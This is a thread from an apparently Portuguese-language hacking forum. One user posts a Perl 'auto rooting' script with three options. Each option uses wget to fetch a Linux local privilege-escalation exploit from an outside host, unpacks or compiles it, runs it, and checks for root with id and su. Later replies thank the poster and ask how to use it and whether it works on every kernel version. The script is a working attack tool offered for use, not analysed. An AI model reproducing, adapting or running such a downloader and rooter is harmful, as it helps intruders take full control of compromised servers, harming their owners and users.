Exploit Auto Rooting Tools Perl

[5ubzer0]

quem tiver com problema de fazer o root ai esta o exploit q fazer auto rooting

#!/usr/bin/perl
#Root Tools
if(@ARGV < 1){
print q(
###-----####  ####----###
              get-r00t
-------------------------
usage : perl r00t.pl -A
usage : perl r00t.pl -B
usage : perl r00t.pl -C
);exit;}


if ($ARGV[0] =~ "-A" )
          {
print "1) Exploit 1.\n";
system "pwd";
system "wget http://milw0rm.com/sploits/2009-wunderbar_emporium.tgz";
sleep(2);
print "0k...\n";
system "tar -xf 2009-wunderbar_emporium.tgz";
sleep(2);
print "0k...\n";
system "cd wunderbar_emporium;./wunderbar_emporium.sh";
print "0k...\n";
system "uname -a;pwd;id;su";
     }

if ($ARGV[0] =~ "-B" )
          {
     print "2) Exploit 2.\n";
system "pwd";
system "wget http://milw0rm.com/sploits/2009-proto_ops.tgz";
sleep(2);
print "0k...\n";
system "tar -xf 2009-proto_ops.tgz";
sleep(2);
print "0k...\n";
system "chmod 777 run.sh";
system "./run.sh";
print "0k...\n";
system "uname -a;pwd;id;su";
     }

if ($ARGV[0] =~ "-C" )
          {
     print "2) Exploit 3.\n";
system "pwd";
system "wget http://tarantula.by.ru/localroot/2.4.x/elflbl";
sleep(2);
print "0k...\n";
system "gcc -o gayros elflbl.c";
sleep(2);
print "0k...\n";
system "chmod 777 gayros";
system "./gayros";
print "0k...\n";
system "uname -a;pwd;id;su";
     }

[USERM4N]

vlw sub ^^

[Designer]

Pra todas as versões?

[5ubzer0]

Pra todas as versões?

Não você tira um link do exploit em perl e coloca o link do xpl da versao que vai fazer o root

[D4Nt3.#]

muito bom 5ub...

[Dope]

Olá sou novo aqui no forum GH ^^, é minha primeira postagen tambêm enfim 5ubzer0 como que eu uso isso pode explicar ou colocar a linha de comando desse exploit? obrigado... agradeço desde já!!